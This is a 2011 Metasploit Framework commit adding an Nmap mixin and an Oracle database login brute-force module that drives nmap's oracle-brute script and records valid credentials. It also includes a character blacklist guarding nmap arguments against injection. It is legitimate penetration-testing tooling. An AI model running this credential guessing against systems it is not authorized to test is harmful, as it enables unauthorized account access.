See #3941. This is a first attempt at supporting driving nmap via a metasploit module. It's a somewhat hefty checkin that includes the Nmap auxiliary mixin as well as an oracle login bruteforce module that uses it.

This definitely needs to be tested on Win32 before it can be called f i x e d, due to the differences between the nmap binaries and the way files are created and used.

Also, the oracle_login scanner could use another once-over for error handling -- don't rely on that yet.

Once this all works the way I expect, I'll document the procedure more thoroghly so people can take advantage.



git-svn-id: file:///home/svn/framework3/trunk@11948 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Tod Beardsley 2011-03-13 22:52:50 +00:00
parent d8ff158855
commit b68396351a
5 changed files with 410 additions and 5 deletions

View File

@ -19,8 +19,8 @@ def initialize(info = {})
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line" ]),
OptInt.new('BRUTEFORCE_SPEED', [ true, "How fast to bruteforce, from 0 to 5", 5]),
OptBool.new('VERBOSE', [ true, "Whether to print output for all attempts", true]),
OptBool.new('BLANK_PASSWORDS', [ true, "Try blank passwords for all users", true]),
OptBool.new('USER_AS_PASS', [ true, "Try the username as the password for all users", true]),
OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", true]),
OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", true]),
OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", false]),
], Auxiliary::AuthBrute)
@ -40,7 +40,11 @@ end
# to :next_user (which will cause that username to be skipped for subsequent
# password guesses). Other return values won't affect the processing of the
# list.
def each_user_pass(&block)
#
# The 'noconn' argument should be set to true if each_user_pass is merely
# iterating over the usernames and passwords and should not respect
# bruteforce_speed as a delaying factor.
def each_user_pass(noconn=false,&block)
# Class variables to track credential use (for threading)
@@credentials_tried = {}
@@credentials_skipped = {}
@ -77,7 +81,12 @@ def each_user_pass(&block)
fq_user = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], u]
userpass_sleep_interval unless @@credentials_tried.empty?
# Set noconn to indicate that in this case, each_user_pass
# is not actually kicking off a connection, so the
# bruteforce_speed datastore should be ignored.
if not noconn
userpass_sleep_interval unless @@credentials_tried.empty?
end
next if @@credentials_skipped[fq_user]
next if @@credentials_tried[fq_user] == p

View File

@ -18,3 +18,4 @@ require 'msf/core/auxiliary/commandshell'
require 'msf/core/auxiliary/login'
require 'msf/core/auxiliary/rservices'
require 'msf/core/auxiliary/cisco'
require 'msf/core/auxiliary/nmap'

View File

@ -0,0 +1,236 @@
module Msf
###
#
# This module provides methods for interacting with nmap.
#
###
module Auxiliary::Nmap
attr_accessor :nmap_args, :nmap_bin, :nmap_log
def initialize(info = {})
super
register_options([
OptAddressRange.new('RHOSTS', [ true, "The target address range or CIDR identifier"]),
OptBool.new('NMAP_VERBOSE', [ false, 'Display nmap output', true]),
OptString.new('RPORTS', [ false, 'Ports to target']), # RPORT supersedes RPORTS
], Auxiliary::Nmap)
deregister_options("RPORT")
@nmap_args = []
@nmap_bin = nmap_binary_path
end
def vprint_status(msg='')
return if not datastore['VERBOSE']
print_status(msg)
end
def vprint_error(msg='')
return if not datastore['VERBOSE']
print_error(msg)
end
def vprint_good(msg='')
return if not datastore['VERBOSE']
print_good(msg)
end
def rports
datastore['RPORTS']
end
def rport
datastore['RPORT']
end
def set_nmap_cmd
nmap_set_log
nmap_add_ports
nmap_cmd = [self.nmap_bin]
self.nmap_args.unshift("-oX #{self.nmap_log[1]}")
nmap_cmd << self.nmap_args.join(" ")
nmap_cmd << datastore['RHOSTS']
nmap_cmd.join(" ")
end
def nmap_build_args
raise RuntimeError, "nmap_build_args() not defined by #{self.refname}"
end
def nmap_run
nmap_cmd = set_nmap_cmd
begin
nmap_pipe = ::Open3::popen3(nmap_cmd)
temp_nmap_threads = []
temp_nmap_threads << framework.threads.spawn("Module(#{self.refname})-NmapStdout", false, nmap_pipe[1]) do |np_1|
np_1.each_line do |nmap_out|
next if nmap_out.strip.empty?
print_status "Nmap: #{nmap_out.strip}" if datastore['NMAP_VERBOSE']
end
end
temp_nmap_threads << framework.threads.spawn("Module(#{self.refname})-NmapStderr", false, nmap_pipe[2]) do |np_2|
np_2.each_line do |nmap_err|
next if nmap_err.strip.empty?
print_status "Nmap: '#{nmap_err.strip}'"
end
end
temp_nmap_threads.map {|t| t.join rescue nil}
nmap_pipe.each {|p| p.close rescue nil}
if self.nmap_log[0].size.zero?
print_error "Nmap Warning: Output file is empty, no useful results can be processed."
end
rescue ::IOError
end
end
def nmap_binary_path
ret = Rex::FileUtils.find_full_path("nmap") || Rex::FileUtils.find_full_path("nmap.exe")
if ret
return ::File.expand_path(ret)
else
raise RuntimeError, "Cannot locate the nmap binary"
end
end
# Returns the [filehandle, pathname], and sets the same
# to self.nmap_log.
# Only supports XML format since that's the most useful.
def nmap_set_log
outfile = Rex::Quickfile.new("msf3-nmap-")
if Rex::Compat.is_cygwin and nmap_binary_path =~ /cygdrive/i
outfile_path = Rex::Compat.cygwin_to_win32(nmap_outfile.path)
else
outfile_path = outfile.path
end
self.nmap_log = [outfile,outfile_path]
end
def nmap_show_args
print_status self.nmap_args.join(" ")
end
def nmap_append_arg(str)
if validate_nmap(str)
self.nmap_args << str
end
end
def nmap_reset_args
self.nmap_args = []
end
# A helper to add in rport or rports as a -p argument
def nmap_add_ports
if not nmap_validate_rports
raise RuntimeError, "Cannot continue without a valid port list."
end
port_arg = "-p \"#{datastore['RPORT'] || rports}\""
if nmap_validate_arg(port_arg)
self.nmap_args << port_arg
else
raise RunTimeError, "Argument is invalid"
end
end
# Validates the correctness of ports passed to nmap's -p
# option. Note that this will not validate named ports (like
# 'http'), nor will it validate when brackets are specified.
# The acceptable formats for this is:
#
# 80
# 80-90
# 22,23
# U:53,T:80
# and combinations thereof.
def nmap_validate_rports
# If there's an RPORT specified, use that instead.
if datastore['RPORT'] && !datastore['RPORT'].empty?
return true
end
bad_port = false
if rports.nil? || rports.empty?
print_error "Missing RPORTS"
return false
end
rports.split(/\s*,\s*/).each do |r|
if r =~ /^([TU]:)?[0-9]*-?[0-9]*$/
next
else
bad_port = true
break
end
end
if bad_port
print_error "Malformed nmap port: #{r}"
return false
end
print_status "Using RPORTS range #{datastore['RPORTS']}"
return true
end
# Validates an argument to be passed on the command
# line to nmap. Most special characters aren't allowed,
# and commas in arguments are only allowed inside a
# quoted argument.
def nmap_validate_arg(str)
# Check for existence
if str.nil? || str.empty?
print_error "Missing nmap argument"
return false
end
# Check for quote balance
if !(str.scan(/'/).size % 2).zero? or !(str.scan(/"/).size % 2).zero?
print_error "Unbalanced quotes in nmap argument: #{str}"
return false
end
# Check for characters that enable badness
disallowed_characters = /([\x00-\x19\x21\x23-\x26\x28\x29\x3b\x3e\x60\x7b\x7c\x7d\x7e-\xff])/n
badchar = str[disallowed_characters]
if badchar
print_error "Malformed nmap arguments (contains '#{c}'): #{str}"
return false
end
# Check for commas outside of quoted arguments
quoted_22 = /\x22[^\x22]*\x22/
requoted_str = str.gsub(/'/,"\"")
if requoted_str.split(quoted_22).join[/,/]
print_error "Malformed nmap arguments (unquoted comma): #{str}"
return false
end
return true
end
# Takes a block, and yields back the host object as discovered
# by the Rex::Parser::NmapXMLStreamParser. It's up to the
# module to ferret out whatever's interesting in this host
# object.
def nmap_hosts(&block)
print_status "Nmap: processing hosts from #{self.nmap_log[1]}..."
fh = self.nmap_log[0]
nmap_data = fh.read(fh.stat.size)
# fh.unlink
nmap_parser = Rex::Parser::NmapXMLStreamParser.new
nmap_parser.on_found_host = Proc.new { |h|
if (h["addrs"].has_key?("ipv4"))
addr = h["addrs"]["ipv4"]
elsif (h["addrs"].has_key?("ipv6"))
addr = h["addrs"]["ipv6"]
else
# Can't do much with it if it doesn't have an IP
next
end
yield h
}
REXML::Document.parse_stream(nmap_data, nmap_parser)
end
end
end

View File

@ -84,9 +84,12 @@ class NmapXMLStreamParser
# <state> refers to the state of a port; values are "open", "closed", or "filtered"
@host["ports"].last["state"] = attributes["state"]
when "service"
# Store any service info with the associated port. There shouldn't
# Store any service and script info with the associated port. There shouldn't
# be any collisions on attribute names here, so just merge them.
@host["ports"].last.merge!(attributes)
when "script"
@host["ports"].last["scripts"] ||= {}
@host["ports"].last["scripts"][attributes["id"]] = attributes["output"]
when "trace"
@host["trace"] = {"port" => attributes["port"], "proto" => attributes["proto"], "hops" => [] }
when "hop"

View File

@ -0,0 +1,156 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex/parser/nmap_xml'
require 'open3'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Nmap
include Msf::Auxiliary::AuthBrute
# Creates an instance of this module.
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle RDBMS Login Utility',
'Description' => %q{
This module attempts to authenticate against an Oracle RDBMS
instance using username and password combinations indicated
by the USER_FILE, PASS_FILE, and USERPASS_FILE options.
},
'Author' => [ 'todb' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.oracle.com/us/products/database/index.html' ],
[ 'CVE', '1999-0502'] # Weak password
],
'Version' => '$Revision$'
))
register_options(
[
OptString.new('SID', [ true, 'The instance (SID) to authenticate against', 'XE'])
], self.class)
deregister_options("USERPASS_FILE")
end
def run
print_status "Nmap: Setting up credential file..."
credfile = create_credfile
each_user_pass(true) {|user, pass| credfile[0].puts "%s/%s" % [user,pass] }
credfile[0].flush
nmap_build_args(credfile[1])
print_status "Nmap: Starting Oracle bruteforce..."
nmap_run
credfile[0].unlink
nmap_hosts {|host| process_host(host)}
end
def sid
datastore['SID'].to_s
end
def nmap_build_args(credpath)
nmap_reset_args
self.nmap_args << "-P0"
self.nmap_args << "--script oracle-brute"
script_args = [
"tns.sid=#{sid}",
"brute.mode=creds",
"brute.credfile=#{credpath}",
"brute.threads=1"
]
script_args << "brute.delay=#{set_brute_delay}"
self.nmap_args << "--script-args \"#{script_args.join(",")}\""
self.nmap_args << "-n"
self.nmap_args << "-v" if datastore['VERBOSE']
end
# Sometimes with weak little 10g XE databases, you will exhaust
# available processes from the pool with lots and lots of
# auth attempts, so use bruteforce_speed to slow things down
def set_brute_delay
case datastore["BRUTEFORCE_SPEED"]
when 4; 0.25
when 3; 0.5
when 2; 1
when 1; 15
when 0; 60 * 5
else; 0
end
end
def create_credfile
outfile = Rex::Quickfile.new("msf3-ora-creds-")
if Rex::Compat.is_cygwin and nmap_binary_path =~ /cygdrive/i
outfile_path = Rex::Compat.cygwin_to_win32(nmap_outfile.path)
else
outfile_path = outfile.path
end
@credfile = [outfile,outfile_path]
end
def process_host(h)
h["ports"].each do |p|
next if(p["scripts"].nil? || p["scripts"].empty?)
p["scripts"].each do |id,output|
next unless id == "oracle-brute"
parse_script_output(h["addr"],p["portid"],output)
end
end
end
def extract_creds(str)
m = str.match(/\s+([^\s]+):([^\s]+) =>/)
m[1,2]
end
def parse_script_output(addr,port,output)
msg = "#{addr}:#{port} - Oracle -"
if output =~ /TNS: The listener could not resolve \x22/n
print_error "#{msg} Invalid SID: #{sid}"
elsif output =~ /Accounts[\s]+No valid accounts found/nm
print_status "#{msg} No valid accounts found"
else
output.each_line do |oline|
report_service(:host => addr, :port => port,
:proto => "tcp", :name => "oracle")
report_note(:host => addr, :port => port, :proto => "tcp",
:type => "oracle.sid", :data => sid, :update => :unique_data)
if oline =~ /Login correct/
user,pass = extract_creds(oline)
pass = "" if pass == "<empty>"
print_good "#{msg} Success: #{user}:#{pass} (SID: #{sid})"
report_auth_info(
:host => addr, :port => port, :proto => "tcp",
:user => "#{sid}/#{user}", :pass => pass, :active => true
)
elsif oline =~ /Account locked/
user = extract_creds(oline)[0]
print_status "#{msg} Locked: #{user} (SID: #{sid}) -- account valid but locked"
report_auth_info(
:host => addr, :port => port, :proto => "tcp",
:user => "#{sid}/#{user}", :active => false
)
elsif oline =~ /^\s+ERROR: (.*)/
print_error "#{msg} NSE script error: #{$1}"
end
end
end
end
end